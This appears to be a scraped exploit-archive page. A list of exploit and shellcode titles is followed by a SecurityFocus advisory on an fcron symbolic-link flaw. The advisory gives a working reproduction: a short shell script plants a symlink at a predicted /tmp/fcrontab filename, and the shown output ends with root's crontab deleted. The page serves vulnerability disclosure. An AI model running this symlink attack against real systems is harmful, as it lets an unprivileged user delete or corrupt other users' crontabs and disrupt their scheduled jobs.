880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
60 lines
No EOL
2.1 KiB
Text
60 lines
No EOL
2.1 KiB
Text
source: https://www.securityfocus.com/bid/2835/info
|
|
|
|
FCron is an implementation of the popular UNIX 'cron' utility that runs user-specified programs at periodic scheduled times.
|
|
|
|
fcron is vulnerable to symbolic link attacks.
|
|
|
|
It is possible for an attacker to anticipate the expected name of an fcron tempfile. Attackers can create a symbolic link with an anticipated filename pointing to files on the system writable by the fcron group. This could allow an attacker to corrupt another user's crontab file, interfering with scheduled events and potentially creating a denial of service.
|
|
|
|
In addition, the ability to cause deletion of user crontabs has been demonstrated by the discoverer.
|
|
|
|
How to repeat:
|
|
|
|
1. Install a crontab, for example for the root user:
|
|
|
|
root# ls -l /var/spool/fcron/
|
|
total 0
|
|
root# echo '0 0 * * * echo test' | fcrontab -
|
|
09:53:00 installing file /tmp/fcrontab.27301 for user root
|
|
Modifications will be taken into account right now.
|
|
root# ls -l /var/spool/fcron/
|
|
total 2
|
|
-rw------- 1 root root 110 May 7 09:53 root
|
|
-rw------- 1 root fcron 20 May 7 09:53 root.orig
|
|
|
|
|
|
2. As a normal user write and execute a script:
|
|
|
|
uwe$ cat ~/x
|
|
#! /bin/sh
|
|
ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
|
|
exec fcrontab - <<EOF
|
|
* * * * * false
|
|
EOF
|
|
uwe$ ./x
|
|
09:55:55 installing file /tmp/fcrontab.27536 for user uwe
|
|
09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied
|
|
|
|
3. As root look into the fcron spool directory:
|
|
|
|
root# ls -l /var/spool/fcron/
|
|
total 3
|
|
-rw-r----- 1 uwe fcron 16 May 7 09:55 rm.root
|
|
-rw------- 1 root root 110 May 7 09:53 root
|
|
-rw------- 1 root fcron 20 May 7 09:53 root.orig
|
|
|
|
4. As the normal user edit your crontab:
|
|
|
|
uwe$ echo '* * * * * true' | fcrontab -
|
|
09:59:15 installing file /tmp/fcrontab.27543 for user uwe
|
|
Modifications will be taken into account at 10h00.
|
|
|
|
5. As root wait up to a minute and look into the fcron spool directory:
|
|
|
|
# ls -l /var/spool/fcron/
|
|
total 3
|
|
-rw------- 1 root fcron 20 May 7 09:53 root.orig
|
|
-rw------- 1 root root 102 May 7 09:59 uwe
|
|
-rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig
|
|
|
|
6. Root's crontab is gone, look into your backups. |